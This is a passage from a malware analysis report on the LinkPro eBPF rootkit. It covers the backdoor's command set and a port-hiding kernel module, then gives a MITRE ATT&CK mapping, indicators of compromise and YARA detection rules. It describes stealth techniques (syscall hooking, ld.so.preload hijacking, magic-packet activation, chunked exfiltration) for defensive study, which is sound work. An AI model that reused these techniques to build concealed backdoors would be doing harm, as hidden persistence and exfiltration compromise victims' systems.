Executes /bin/bash in a pseudo-terminal (uses the github.com/creack/pty module30). The terminal_input subcommand allows for interaction with the created bash process. |
shell |
Directly executes an arbitrary shell command: /bin/sh -c [cmd] |
Subcommands: |
Commands for listing, reading, writing, and deleting files or directories. The |
|
File download. The target file is split into 1MB chunks. Each chunk is base64-encoded and then sent to the operator. |
reverse_connect ; close_reverse_connect |
Sets up a relay to serve as a SOCKS5 proxy tunnel. Uses the resocks module31. The proxy server's IP address, port, and connection key are specified in the command. |
Subcommands: |
Sets up an HTTP service, the same one established by the reverse mode. The port and the encryption key (XOR) are indicated in the command. |
set_sleep_config |
Updates the sleep_time and jitter_time parameters. |
arp_diag.ko Kernel Module
SHA256 |
|
---|---|
File type | ELF 64-bit LSB kernel object, x86-64 |
File size | 586728 bytes |
Threat | Linux LKM Rootkit |
The arp_diag.ko
kernel module embedded in the LinkPro program is never loaded. The loading of this module on the compromised hosts was also not observed. It has the following version information:
version=1.21
description=UNIX socket monitoring via ARP_DIAG
author=Linux
license=GPL
srcversion=AB501E218EDD1F4EA00642E
depends=
retpoline=Y
name=arp_diag
vermagic=6.8.0-1021-aws SMP mod_unload modversions
This module registers four Kernel probes to attach to the kernel functions tcp4_seq_show
, udp4_seq_show
, tcp6_seq_show
, and udp6_seq_show
. These system calls provide the information specified in /proc/net/tcp
, /proc/net/tcp6
, /proc/net/udp
, and /proc/net/udp6
. The functions implemented by arp_diag
aim to hide the records containing port 2233.

Conclusion
The analysis of the LinkPro rootkit, discovered by the Synacktiv CSIRT on a compromised AWS infrastructure, confirms and deepens the trend of threats exploiting eBPF technology. Following in the footsteps of malware like BPFDoor or Symbiote, LinkPro represents a new step in the sophistication of these backdoors by combining several stealth techniques at multiple levels.
For its concealment at the kernel level, the rootkit uses eBPF programs of the tracepoint
and kretprobe
types to intercept the getdents
(file hiding) and sys_bpf
(hiding its own BPF programs) system calls. Notably, this technique requires a specific kernel configuration (CONFIG_BPF_KPROBE_OVERRIDE
). If the latter is not present, LinkPro falls back on an alternative method by loading a malicious library via the /etc/ld.so.preload
file to ensure the concealment of its activities in user space.
LinkPro also stands out for its operational flexibility, capable of acting either in a passive listening mode or by directly contacting a command and control (C2) server.
-
In listening mode (
reverse
), it deploys an advanced network processing chain based on XDP (ingress
) and TC (egress
) programs, whose implementation is visibly inspired by the open-source project eBPFeXPLOIT. This mechanism allows it to redirect a "magic packet" to its internal listening port and to hide the communication. -
In direct connection mode (
forward
) to the C2, this redirection is not necessary and is therefore not used.
Once communication is established, LinkPro provides the operator with advanced functionalities, notably the ability to serve as a pivot point for lateral movement.
No formal attribution to a threat actor could be established, but the objectives of the attack appear to be financial. In conclusion, LinkPro is a concrete example of malware that uses eBPF in an adaptive manner. The combination of kernel hooks, a user-space fallback mechanism (ld.so.preload
), and distinct communication modes demonstrates a design specifically conceived to adapt to different system configurations and evade detection.
YARA rules created during this analysis are maintained in synacktiv-rules Github repository.
Mapping MITRE ATT&CK — LinkPro
Tactic | Technique (ID) | Description of Use by LinkPro |
---|---|---|
Execution | Command and Scripting Interpreter: Unix Shell (T1059.004) | LinkPro executes commands via /bin/sh -c (shell command) and provides a full interactive shell with /bin/bash (terminal_create command). |
Persistence | Create or Modify System Process: Systemd Service (T1543.002) | Creates a systemd unit file (/etc/systemd/system/systemd-resolveld.service ) to execute on startup. |
Persistence | Hijack Execution Flow: Dynamic Linker Hijacking (T1574.006) | Uses /etc/ld.so.preload as an alternative/fallback concealment mechanism. |
Defense Evasion | Masquerading: Match Legitimate Name or Location (T1036.005) | The malware masquerades as systemd-resolved by using the filenames /usr/lib/.system/.tmp~data.resolveld and systemd-resolveld.service . |
Defense Evasion | Indicator Removal: Timestomp (T1070.006) | LinkPro modifies the timestamps of its persistence files to match a legitimate system file (e.g., /etc/passwd ). |
Defense Evasion | Rootkit (T1014) | Uses eBPF hooks on getdents and sys_bpf to hide its artifacts at the kernel level. |
Defense Evasion | Obfuscated Files or Information (T1027) | Data exfiltrated via download_manage is Base64-encoded. C2 traffic is XOR-encrypted. |
Defense Evasion | Impair Defenses: Modify System Firewall (T1562.007) | The XDP program bypasses local firewall filters by processing packets before the main network stack. |
Command and Control | Application Layer Protocol (T1071) | Uses HTTP and DNS (via DNS Tunneling T1071.004) for its C2 communications, in addition to raw TCP/UDP. |
Command and Control | Traffic Signaling: Port Knocking (T1205.002) | The "magic packet" concept (TCP SYN with a window of 54321) is a form of traffic signaling to activate the passive C2. |
Command and Control | Proxy: External Proxy (T1090.002) | The reverse_connect command sets up a SOCKS5 proxy tunnel to relay traffic, serving as a pivot. |
Command and Control | Ingress Tool Transfer (T1105) | The upload_file command allows the operator to download additional tools to the compromised host via HTTP. |
Exfiltration | Exfiltration Over C2 Channel (T1041) | The download_manage command uses the C2 channel to exfiltrate files. The technique of splitting into chunks and Base64 encoding is specific to its implementation. |
Collection | File and Directory Discovery (T1083) | The file_manage command and its subcommands (list_files , get_current_dir ) are used to explore the victim's filesystem. |
Indicators of Compromise (IOCs) Table — LinkPro
IOC Type | Indicator | Description |
---|---|---|
Network | /api/client/file/download?path=... |
URL used by the upload_file command to download tools to the compromised host. |
Network | /reverse/handshake ; /reverse/heartbeat ; /reverse/operation |
URLs used by LinkPro in reverse mode to receive commands from the operator. |
Network | 18.199.101.111 |
Destination IP address of the LinkPro sample (forward mode). |
File | /etc/systemd/system/systemd-resolveld.service |
Malicious service file masquerading as the legitimate systemd-resolved service (note the final "d"). |
File | /root/.tmp~data.ok |
Location and name of the LinkPro binary, mimicking a system file. |
File | /usr/lib/.system/.tmp~data.resolveld |
Location and name of the LinkPro binary, mimicking a system file. |
File | /etc/libld.so |
Uses /etc/ld.so.preload as a concealment mechanism by modifying /etc/ld.so.preload . |
Host | systemd-resolveld |
The malicious service name is designed to be confused with the legitimate systemd-resolved service. |
Host | conf_map |
eBPF map used by LinkPro's Knock module containing the internal port. |
Host | knock_map |
eBPF map used by LinkPro's Knock module containing the authorized IP addresses. |
Host | main_ebpf_progs |
eBPF map used by LinkPro's Hide module containing the eBPF programs to be hidden. |
Host | pids_to_hide_map |
eBPF map used by LinkPro's Hide module containing the PIDs of the processes to be hidden. |
YARA rules
import "elf"
rule MAL_LinkPro_ELF_Rootkit_Golang_Oct25 {
meta:
description = "Detects LinkPro rootkit"
author = "CSIRT Synacktiv, Théo Letailleur"
date = "2025-10-13"
reference = "https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
hash = "1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964"
hash = "d5b2202b7308b25bda8e106552dafb8b6e739ca62287ee33ec77abe4016e698b"
strings:
$linkp_mod = "link-pro/link-client" fullword ascii
$linkp_embed_libld = "resources/libld.so" fullword ascii
$linkp_embed_lkm = "resources/arp_diag.ko" fullword ascii
$linkp_ebpf_hide = "hidePrograms" fullword ascii
$linkp_ebpf_knock = "knock_prog" fullword ascii
$go_pty = "creack/pty" fullword ascii
$go_socks = "resocks" fullword ascii
condition:
uint32(0) == 0x464c457f and filesize > 5MB and elf.type == elf.ET_EXEC
and 2 of ($linkp*)
and 1 of ($go*)
}
import "elf"
rule MAL_LinkPro_Hide_ELF_BPF_Oct25 {
meta:
description = "Detects LinkPro Hide eBPF module"
author = "CSIRT Synacktiv, Théo Letailleur"
date = "2025-10-13"
reference = "https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
hash = "b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164"
strings:
$hook_getdents = "/syscalls/sys_enter_getdents" fullword ascii
$hook_getdentsret = "/syscalls/sys_exit_getdents" fullword ascii
$hook_bpf = "/syscalls/sys_enter_bpf" fullword ascii
$hook_bpfret = "sys_bpf" fullword ascii
$str1 = "BPF cmd: %d, start_id: %u" fullword ascii
$str2 = "HIDING NEXT_ID: %u" fullword ascii
$str3 = ".tmp~data" fullword ascii
condition:
uint32(0) == 0x464c457f and uint16(0x12) == 0x00f7 // BPF Machine
and elf.type == elf.ET_REL
and 2 of ($hook*)
and 1 of ($str*)
}
import "elf"
rule MAL_LinkPro_Knock_ELF_BPF_Oct25 {
meta:
description = "Detects LinkPro Knock eBPF module"
author = "CSIRT Synacktiv, Théo Letailleur"
date = "2025-10-13"
reference = "https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
hash = "364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3"
strings:
$hook_xdp = "xdp_ingress" fullword ascii
$hook_tc_egress = "tc_egress" fullword ascii
$str1 = "[DBG-XDP]" fullword ascii
$str2 = "[DBG-9999]" fullword ascii
$str3 = "[TC-MISS]" fullword ascii
$str4 = "[TC] REWRITE_BACK" fullword ascii
condition:
uint32(0) == 0x464c457f and uint16(0x12) == 0x00f7 // BPF Machine
and elf.type == elf.ET_REL
and 1 of ($hook*)
and 2 of ($str*)
}
import "elf"
rule MAL_LinkPro_LdPreload_ELF_SO_Oct25 {
meta:
description = "Detects LinkPro ld preload module"
author = "CSIRT Synacktiv, Théo Letailleur"
date = "2025-10-13"
reference = "https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
hash = "b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7"
strings:
$hook_getdents = "getdents" fullword ascii
$hook_open = "open" fullword ascii
$hook_readdir = "readdir" fullword ascii
$hook_kill = "kill" fullword ascii
$linkpro = ".tmp~data" fullword ascii
$file_net = "/proc/net" fullword ascii
$file_persist = ".system" fullword ascii
$file_cron = "sshids" fullword ascii
condition:
uint32(0) == 0x464c457f and filesize < 500Ko and elf.type == elf.ET_DYN
and $linkpro
and 2 of ($hook*)
and 2 of ($file*)
}
import "elf"
rule MAL_LinkPro_arpdiag_ELF_KO_Oct25 {
meta:
description = "Detects LinkPro LKM module"
author = "CSIRT Synacktiv, Théo Letailleur"
date = "2025-10-13"
reference = "https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
hash = "9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075"
strings:
$hook_udp6 = "hook_udp6_seq_show" fullword ascii
$hook_udp4 = "hook_udp4_seq_show" fullword ascii
$hook_tcp6 = "hook_tcp6_seq_show" fullword ascii
$hook_tcp4 = "hook_tcp4_seq_show" fullword ascii
$ftrace = "ftrace_thunk" fullword ascii
$hide_entry = "hide_port_init" fullword ascii
$hide_exit = "hide_port_exit" fullword ascii
condition:
uint32(0) == 0x464c457f and filesize < 2Mo and elf.type == elf.ET_REL
and $ftrace
and 2 of ($hook*)
and 1 of ($hide*)
}
import "elf"
rule MAL_vGet_ELF_Downloader_Rust_Oct25 {
meta:
description = "Detects vGet Downloader, observed to load vShell"
author = "CSIRT Synacktiv, Théo Letailleur"
date = "2025-10-13"
reference = "https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
hash = "0da5a7d302ca5bc15341f9350a130ce46e18b7f06ca0ecf4a1c37b4029667dbb"
hash = "caa4e64ff25466e482192d4b437bd397159e4c7e22990751d2a4fc18a6d95ee2"
strings:
$hc_rust = "RUST_BACKTRACE" fullword ascii
$hc_symlink = "/tmp/.del" fullword ascii
$hc_proxy = "Proxy-Authorization:" fullword ascii
$lc_crypto_chacha = "expand 32-byte k" fullword ascii
$lc_pdfuser = "cosmanking" fullword ascii
$lc_local = "127.0.0.1" fullword ascii
condition:
uint32(0) == 0x464c457f and filesize > 500KB and filesize < 3MB
and elf.type == elf.ET_DYN
and all of ($hc*)
and 1 of ($lc*)
}
- 1. https://www.trendmicro.com/en_us/research/25/d/bpfdoor-hidden-controlle…
- 2. https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossibl…
- 3. https://blog.lumen.com/the-j-magic-show-magic-packets-and-where-to-find…
- 4. https://github.com/Gui774ume/ebpfkit
- 5. https://github.com/bfengj/eBPFeXPLOIT/tree/main
- 6. https://www.jenkins.io/security/advisory/2024-01-24/
- 7. https://docs.aws.amazon.com/eks/latest/userguide/what-is-eks.html
- 8. https://github.com/vnt-dev/vnt
- 9. https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vs…
- 10. https://www.sysdig.com/blog/unc5174-chinese-threat-actor-vshell
- 11. https://malpedia.caad.fkie.fraunhofer.de/details/elf.snowlight
- 12. https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_XDP/
- 13. https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_SCHED_CLS/
- 14. https://attack.mitre.org/techniques/T1574/006/
- 15. https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_TRACEPOINT/
- 16. https://www.kernel.org/doc/html/latest/trace/kprobes.html#how-does-a-kp…
- 17. https://ebpf-go.dev/
- 18. https://docs.ebpf.io/linux/concepts/maps/
- 19. https://docs.ebpf.io/linux/program-type/
- 20. https://docs.ebpf.io/linux/syscall/BPF_LINK_CREATE/
- 21. https://pubs.opengroup.org/onlinepubs/9799919799/basedefs/dirent.h.html
- 22. https://github.com/bfengj/eBPFeXPLOIT/blob/main/ebpf/main.c#L691
- 23. https://bpftool.dev/
- 24. https://github.com/bfengj/eBPFeXPLOIT/blob/main/ebpf/main.c#L339
- 25. https://www.man7.org/linux/man-pages/man7/bpf-helpers.7.html
- 26. https://github.com/nyrahul/linux-kernel-configs?tab=readme-ov-file#bpf_…
- 27. https://www.datadoghq.com/blog/xdp-intro/
- 28. https://docs.ebpf.io/linux/concepts/pinning/
- 29. https://pkg.go.dev/github.com/cilium/ebpf/link#AttachRawLink
- 30. https://github.com/creack/pty?tab=readme-ov-file#shell
- 31. https://github.com/RedTeamPentesting/resocks